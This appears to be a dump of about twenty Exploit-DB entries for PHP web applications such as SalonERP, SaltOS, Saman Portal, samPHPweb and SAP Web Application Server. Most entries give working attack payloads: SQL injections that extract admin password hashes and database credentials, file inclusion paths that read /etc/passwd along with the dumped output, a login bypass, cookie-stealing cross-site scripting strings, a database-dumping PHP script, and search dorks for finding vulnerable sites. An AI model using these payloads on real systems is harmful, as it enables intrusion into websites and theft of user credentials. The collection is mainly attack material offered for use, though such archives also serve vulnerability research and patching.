deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50659
Description: SalonERP 3.0.1 - 'sql' SQL Injection (Authenticated)
Type: webapps
Platform: php
Date: 2022-01-13
Author: Betul Denizler

Exploit:
# Exploit Title: SalonERP 3.0.1 - 'sql' SQL Injection (Authenticated)
# Exploit Author: Betul Denizler
# Vendor Homepage: https://salonerp.sourceforge.io/
# Software Link: https://sourceforge.net/projects/salonerp/files/latest/download
# Version: SalonERP v3.0.1
# Tested on: Ubuntu Mate 20.04
# Vulnerable Parameter: sql
# Date: 11/01/2022
'''
DESCRIPTION
========
The vulnerability allows an attacker to inject payload using 'sql' parameter in sql query while generating report. Upon successful discovering the login admin password hash, it can be decrypted and obtained the plain-text password.


POC REQUEST:
========
POST /salonerp/report.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 755
Origin: http://127.0.0.1
Connection: close
Cookie: salonerp-id=vDF9uCpfqQAXuNhsCWvH; PHPSESSID=e170a8c9dfeef78751cb49b9977b2373
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

save=&title=bestCustomers&font=Times&fontSize=12&sql=SELECT%0A%09%09%09%09%09%09(select+concat(u.name%2C'+'%2Cu.password)+from+Models%5CUser+u+where+u.id+%3D+1)+AS+userpass%2C%0A%09%09%09%09%09%09COUNT(i.id)+AS+amount%2C%0A%09%09%09%09%09%09SUM(i.cash+%2B+i.bank)+as+revenue%0A%09%09%09%09%09FROM+Models%5CInvoice+i%0A%09%09%09%09%09JOIN+i.event+e%0A%09%09%09%09%09JOIN+e.customer+c%0A%09%09%09%09%09WHERE+DATE_DIFF(i.date%2C+%3AstartDate)+%3E%3D+0%0A%09%09%09%09%09AND+DATE_DIFF(i.date%2C+%3AendDate)+%3C%3D+0%0A%09%09%09%09%09GROUP+BY+e.customer%0A%09%09%09%09%09ORDER+BY+revenue+DESC&ask%5B0%5D%5Bname%5D=startDate&ask%5B0%5D%5Bvalue%5D=2021-12-14T00%3A00%3A00&ask%5B1%5D%5Bname%5D=endDate&ask%5B1%5D%5Bvalue%5D=2021-12-15T00%3A00%3A00&currency%5B%5D=2

EXPLOITATION
========
1. Create a database and login panel
2. Create employees in the settings
3. Create Products, Customers and Events
4. Pay for Products on Event
5. Create report on the "Reports" menu
6. Inject payload to the "sql" parameter in POST request for generate report

Payload: (select+concat(u.name,'+',u.password)+from+Models\User+u+where+u.id+=+1)+AS+userpass
'''
Exploit-DB #37642
Description: SaltOS - 'download.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-18
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/55117/info

SaltOS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

SaltOS 3.1 is vulnerable; other versions may also be affected.

http://www.example.com/SaltOS-3.1/user/lib/phpexcel/PHPExcel/Shared/JAMA/docs/download.php/ â??><script>alert(â??xssâ??)</script>
Exploit-DB #45734
Description: SaltOS Erp Crm 3.1 r8126 - Database File Download
Type: webapps
Platform: php
Date: 2018-10-29
Author: Ihsan Sencan

Exploit:
# Exploit Title: SaltOS Erp, Crm 3.1 r8126 - Database File Download
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.saltos.org/
# Software Link: http://download.saltos.org/?app=saltos&format=xul&arch=win32
# Version: 3.1 r0 / 3.x
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18762

# POC: 
# 1)
# http://localhost/[PATH]/files/saltos.db
# 
# [Mon Oct 29 00:05:49 2018] 127.0.0.1:2853 [200]: /index.php?action=logout
# [Mon Oct 29 00:05:49 2018] 127.0.0.1:2856 [200]: /
# [Mon Oct 29 00:05:51 2018] 127.0.0.1:2857 [200]: /files/saltos.db
# 
GET /files/saltos.db HTTP/1.1
Host: localhost:57187
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=a06furpg1gf54hqf573l886qs3; lang=es_ES; __lang__=[PII_REDACTED]; style=blue; __style__=[PII_REDACTED]; iconset=silk; __iconset__=[PII_REDACTED]
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Host: localhost:57187
Connection: close
Content-Type: application/octet-stream
Content-Length: 8462336

<?php

$baglan = new SQLite3('saltos.db');

$sonuc = $baglan->query('SELECT * FROM tbl_usuarios');

while ($p = $sonuc->fetchArray()) {?>

<h4><?php echo $p['login'];?></h4>
<h4><?php echo $p['password'];?></h4>

<?php } ?>
Exploit-DB #45733
Description: SaltOS Erp Crm 3.1 r8126 - SQL Injection (2)
Type: webapps
Platform: php
Date: 2018-10-29
Author: Ihsan Sencan

Exploit:
# Exploit Title: SaltOS Erp, Crm 3.1 r8126 - SQL Injection
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.saltos.org/
# Software Link: https://excellmedia.dl.sourceforge.net/project/saltos/stable/SaltOS-3.1-8126.linux-i686.tgz
# Version: 3.1 r0 / 3.x
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18763

# POC: 
# 1)
# http://localhost/[PATH]/index.php
# 
POST /[PATH]/index.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 747
Cookie: PHPSESSID=il9r6344ch0ned04kg1hpc7l45; lang=en_US; __lang__=[PII_REDACTED]; style=blue; __style__=[PII_REDACTED]; iconset=silk; __iconset__=[PII_REDACTED]
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
action=ajax&query=numbers&page=usuarios&action2=list%27%29%20%61%6e%44%20%28%53%45%4c%65%63%74%20%31%35%35%20%46%72%6f%4d%28%53%45%4c%45%43%54%20%43%4f%75%6e%74%28%2a%29%2c%43%4f%6e%63%61%54%28%63%6f%6e%43%41%54%28%30%78%32%30%33%61%32%30%2c%55%73%65%52%28%29%2c%44%61%74%41%42%41%53%45%28%29%2c%56%45%72%53%49%6f%4e%28%29%29%2c%30%78%37%65%2c%28%73%65%6c%65%43%54%20%28%65%6c%54%28%31%35%35%3d%31%35%35%2c%31%29%29%29%2c%30%78%34%39%36%38%37%33%36%31%36%65%32%30%35%33%36%35%36%65%36%33%36%31%36%65%2c%66%6c%6f%4f%52%28%52%41%6e%64%28%30%29%2a%32%29%29%78%20%66%72%4f%4d%20%49%4e%46%6f%72%6d%41%54%49%4f%4e%5f%53%63%68%45%4d%41%2e%50%4c%75%67%49%4e%53%20%47%72%6f%55%50%20%42%59%20%78%29%61%29%20%41%6e%64%20%28%27%45%66%65%27%3d%27%45%66%65&id=0: undefined
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 00:12:53 GMT
Server: Apache/2.4.4 (Win32) OpenSSL/0.9.8y PHP/5.4.16
X-Powered-By: SaltOS v3.1 r8126
Expires: -1
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: keep-alive, close
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Exploit-DB #18583
Description: Saman Portal - Local File Inclusion
Type: webapps
Platform: php
Date: 2012-03-12
Author: TMT

Exploit:
===========================================================

[+] Title: 			[Iranian] Saman portal LFI
[+] Date: 			2/28/12
[+] Author:			TMT
[+] Mail: 			taktaz_m2800[a.t]yahoo.com
[+] Type:			PHP
[+] Vendor or Software Link: 	http://www.sis-eg.com
[+] Customers: 			http://sis-eg.com/services/customers/
[+] Google dork: 		inurl:sismodule=user

============================================================
[~] desc:
Vuln in modules/sisRapid/pnuserapi.php on line 117

just "../" filtered to prevent LFI but "....//" will work


[~] poc:
http://www.site.com/index.php?module=cdk&func=loadmodule&system=cdk&sismodule=....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd


root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin 
daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin 
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync 
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt 
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin 
operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin 
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin 
nobody:x:99:99:Nobody:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin 
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin 
named:x:25:25:Named:/var/named:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin 
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin 
postfix:x:89:89::/var/spool/postfix:/sbin/nologin apache:x:498:500::/var/www:/bin/false 
diradmin:x:497:497::/usr/local/directadmin:/bin/false mysql:x:496:496:MySQL 
server:/var/lib/mysql:/bin/false webapps:x:500:501::/var/www/html:/bin/false 
majordomo:x:495:2::/etc/virtual/majordomo:/bin/false 
dovecot:x:494:494::/home/dovecot:/bin/false admin:x:501:502::/home/admin:/bin/bash
Exploit-DB #11303
Description: Saman Portal - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-31
Author: Pouya Daneshmand

Exploit:
#################################################################
# Securitylab.ir
#################################################################
# Application Info:
# Name: Saman Portal
# Vendor: http://www.sis-eg.com
#################################################################
Vulnerability:
http://site.com/index.php?module=subjects&func=viewpage&pageid=-1+union+select+1,2,3,null,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,null,14,15,16,17--
#################################################################
# Discoverd By: Pouya Daneshmand
# Website: http://securitylab.ir
# Contacts: info[at]securitylab.ir & whh_iran@yahoo.com<mailto:whh_iran@yahoo.com>
###################################################################
Exploit-DB #5862
Description: samart-cms 2.0 - 'contentsid' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-19
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #################################################################
 #   [ samart-cms 2.0 ]   Remote SQL Injection Vulnerability     #
 #################################################################
 #
 # Script site: http://samart.6x.to/
 # 
 # Vuln: 
 # http://site.com/site.php?contentsid=-1+UNION%20SELECT+1,2,4,3,concat_ws(char(58),m_id,m_username,m_password,m_email),6,7+from+member/*
 #
 # 
 # Dork example: "Powered by samart-cms"
 #
 ###############################################
 # Greetz: D3m0n_DE * sid.psycho * str0ke and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-06-19]
Exploit-DB #43088
Description: Same Sex Dating Software Pro 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Same Sex Dating Software Pro 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.softdatepro.com/
# Software Link: https://codecanyon.net/item/same-date-pro-same-sex-dating-software/4530959
# Demo: http://www.ss.softdatepro.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15971
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/viewprofile.php?profid=[SQL]
# http://localhost/[PATH]/viewmessage.php?sender_id=[SQL]
# 
# -263'++/*!08888UNION*/+/*!08888ALL*/+/*!08888SELECT*/+0x31,0x32,(/*!08888SElEct*/+ExpOrt_sEt(5,@:=0,(/*!08888sElEct*/+cOunt(*)/*!08888frOm*/(infOrmatiOn_schEma.cOlumns)whErE@:=ExpOrt_sEt(5,ExpOrt_sEt(5,@,/*!08888tablE_namE*/,0x3c6c693E,2),/*!08888cOlumn_namE*/,0xa3a,2)),@,2)),0x34,0x35,0x36,0x37,0x38,0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136--+-
# 
# http://localhost/[PATH]/admin
# 
# Email: 'or 1=1 or ''=' Pass: anything
# 
# Etc..
# # # # #
Exploit-DB #17431
Description: Same Team E-shop manager - SQL Injection
Type: webapps
Platform: php
Date: 2011-06-22
Author: Number 7

Exploit:
# Exploit Title: [Same Team E-shop manager SQL Injection exploit]
# Date: [19-06-2011]
# Author: [Number 7]
# Software Link: [http://www.sameteam.com.tn/site/fr/eshop-manager.23.html]
# Tested on: [Linux]
_____________________________________________________________________________
exploits:
http://www.domain.com.tn/path/catalogue.php?id_shop=7[SQLI]

http://www.domain.com.tn/path/article.php?id_article=7[SQLI]

http://www.domain.com.tn/path/banniere.php?id_article=7[SQLI]

http://www.domain.com.tn/path/detail_news.php?id_article=7[SQLI]

http://www.domain.com.tn/path/detail_produit.php?id_shop=3&ref=200308G[SQLI]

----------------------------------------_----------------------------------------


Use Havij :^D it's fastest for the 4th version :D
_____________________________________________________________________________
############ Made in Tunisia +216 ############
[~] Greetz tO: [Shichemt-Älen/Ares/SWAT/S-MAN/Wx #all tunisian hackers]
[~] Home     : Tunisia :^D
############ Made in Tunisia +216 ############
Exploit-DB #26720
Description: SAMEDIA LandShop 0.6.3 - 'ls.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-12-05
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15709/info

Landshop is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/ls.php?lang=en&action=list&start=[SQL]
http://www.example.com/ls.php?lang=en&action=list&start=0&CAT_ID=3&keyword=&search_area=&search_type=&infield=&search_order=[SQL]
http://www.example.com/ls.php?lang=en&action=list&start=0&CAT_ID=3&keyword=&search_area=&search_type=[SQL]
http://www.example.com/ls.php?lang=en&action=list&start=0&CAT_ID=3&keyword=[SQL]
http://www.example.com/ls.php?lang=en&action=list&start=0&CAT_ID=3&keyword=&search_area=[SQL]
Exploit-DB #4834
Description: samPHPweb 4.2.2 - 'db.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-01-04
Author: Crackers_Child

Exploit:
+______________________________________________By Crackers_Child___________________________________________+

*
*
*    [~] Script.......:       samPHPweb
*    [~] Page.........:       http://support.spacialaudio.com/forums/viewforum.php?f=22  & http://www.spacialaudio.com/
*    [~] Author.......:       Crackers_Child  | cybermilitan@hotmail.com & localexploit@hotmail.com
*    [~] Class........:       Remote File Ä°nclude Vulnerability
*    [~] Dork.........:       This page was produced using SAM Broadcaster. Â© Copyright Spacial Audio Solutions, LLC 1999 - 2004.
*    [~] Dork.........:       This page was produced using SAM Broadcaster. Â© Copyright Spacial Audio Solutions
*    [~] Dork.........:       This page was produced using SAM2 (Streaming Audio Manager)
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*     
*
*       [~] Exploit Rfi...:     http://[Taget]/[Path]/common/db.php?commonpath=sh3lz?
*
*                             
+_______________________________________________________________________________________________________________________+



        [~] Ä°nfo......: Can Yakar . . .
                      



+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*       [~] Special Thanx.......:    str0ke, BiyoSecurity.Net, SiberSavascilar.com And All F3ckers :)
*
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2008-01-04]
Exploit-DB #4836
Description: samPHPweb 4.2.2 - 'songinfo.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-05
Author: BackDoor

Exploit:
Title:samPHPweb (songinfo.php) Remote SQL Injection
Script:samPHPweb
Download:http://www.spacialaudio.com/download/samPHPweb.zip
Bug:songinfo.php
Author:BackDoor
Dork1:inurl:samPHPweb/playing.php
Dork2:This page was produced using SAM Broadcaster. Â© Copyright Spacial Audio Solutions, LLC 1999 - 2004.
Exploit:
www.victim.com/scriptpath/songinfo.php?songid=-1/**/UNION/**/SELECT/**/0,1,2,3,4,5,6,7,8,9,10,11,12,13,password,user,16,17,18,19,20,21,22,23,24,@@version,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44/**/from/**/mysql.user

# milw0rm.com [2008-01-05]
Exploit-DB #31883
Description: SamTodo 1.1 - 'completed' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-05
Author: David Sopas Ferreira

Exploit:
source: https://www.securityfocus.com/bid/29569/info

SamTodo is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

SamTodo 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?go=main.default&completed=1%22%3E%3Ch1%3Ef00bar%3C/h1%3E

http://www.example.com/index.php?go=main.default&orderBy=taskComplete&ascDesc=DESC&completed=1%22%3E%3Ch1%3Ef00bar%3C/h1%3E
Exploit-DB #31882
Description: SamTodo 1.1 - 'tid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-05
Author: David Sopas Ferreira

Exploit:
source: https://www.securityfocus.com/bid/29568/info

SamTodo is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

SamTodo 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?go=main.taskeditor&tid=f29de7fa-6625-4e20-8a19-11c0f4d799f6[XSS]&mode=edit
Exploit-DB #14208
Description: Sandbox 2.0.2 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-07-04
Author: saudi0hacker

Exploit:
: # Tested on: Linux os                                                    : 
: # Greetz to : pr.al7rbi : so busy : evil-ksa : Dr.dakota : v4-team.com   :
----------------------------------------------------------------------------

 [+] file:index.php on line 75
 [+] Code:
 <?
 else {
	$module = $_GET['a'];
 }

 require 'modules/'  . $module . '.php';
 ?>

 [+] PoC:http://localhost/index.php?a=../../../../../etc/passwd%00
Exploit-DB #34628
Description: Santafox 2.0.2 - 'search' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-09-06
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/43237/info

Santafox is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Santafox 2.02 is vulnerable; other versions may be affected. 

http://www.example.com/search.html?search=1"><script>alert(document.cookie)</script>&x=0&y=0
Exploit-DB #18217
Description: SantriaCMS - SQL Injection
Type: webapps
Platform: php
Date: 2011-12-08
Author: Troy

Exploit:
# I Think, I can, But i'm just loser

# Author : Troy
# Date : Thursday, Dec 08, 2011
# Location : /home/troy
#
# -------- CMS info -----------
# Vendor : http://www.jasawebsitemurah.info/cms/
# Exploit title : SantriaCMS SQL Injection Vulnerability
# Dork : "view.php?idArtikel="
# Version : Null/1.0 mybe :p
# Tested On : LocalHost
# -----------------------------
#
# Internet For Freedom

# Exploit
#
# http://localhost/cms/
#
# http://localhost/cms/view.php?idArtikel=[SQL]
#


# --------- Thank's -----------
#
# Virgi, Hakz, r13y5h4. 
# Xpanda, Cesc, Riv182.
# 
# Greetz "WHT"
#
# ---------- End --------------
Exploit-DB #4816
Description: SanyBee Gallery 0.1.1 - 'p' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-12-30
Author: jackal

Exploit:
################################################################################
# SanyBee Gallery 0.1.1  (p)  local File Inclusion
#  
# Script Name:  SanyBee Gallery 0.1.1
#        
# D.Script: http://www.easy-script.com/scripts-dl/SanyBeeGallery_V0.1.0.zip
#                                                                                                            
# Discovered by:  jackal                                    
#
# contact: mi3adi@hotmail.fr                                                        
################################################################################


*==Exploit==*
================================================================

http://www.target.com/[SanyBee Gallery 0.1.1]/index.php?p=[ LFI ]%00
================================================================

Thanx: [cold-zer0]==&==[kof]==&==[firas]

GreeTz: [M]oRoCCaN [S]aBoTaGe [T]eaM

# milw0rm.com [2007-12-30]
Exploit-DB #26487
Description: SAP Web Application Server 6.x/7.0 - 'frameset.htm?sap-syscmd' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-11-09
Author: Leandro Meiners

Exploit:
source: https://www.securityfocus.com/bid/15361/info
 
SAP Web Application Server is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
 
This issue only affects the BSP runtime of SAP WAS. 

http://www.example.com/sap/bc/BSp/sap/menu/fameset.htm?sap-sessioncmd=open&sap-syscmd=%3Cscript%3Ealert('xss')%3C/script%3E
Exploit-DB #26486
Description: SAP Web Application Server 6.x/7.0 - Error Page Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-11-09
Author: Leandro Meiners

Exploit:
source: https://www.securityfocus.com/bid/15361/info

SAP Web Application Server is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue only affects the BSP runtime of SAP WAS. 

http://www.example.com/sap/bc/BSp/sap/index.html%3Cscript%3Ealert('xss')%3C/script%3E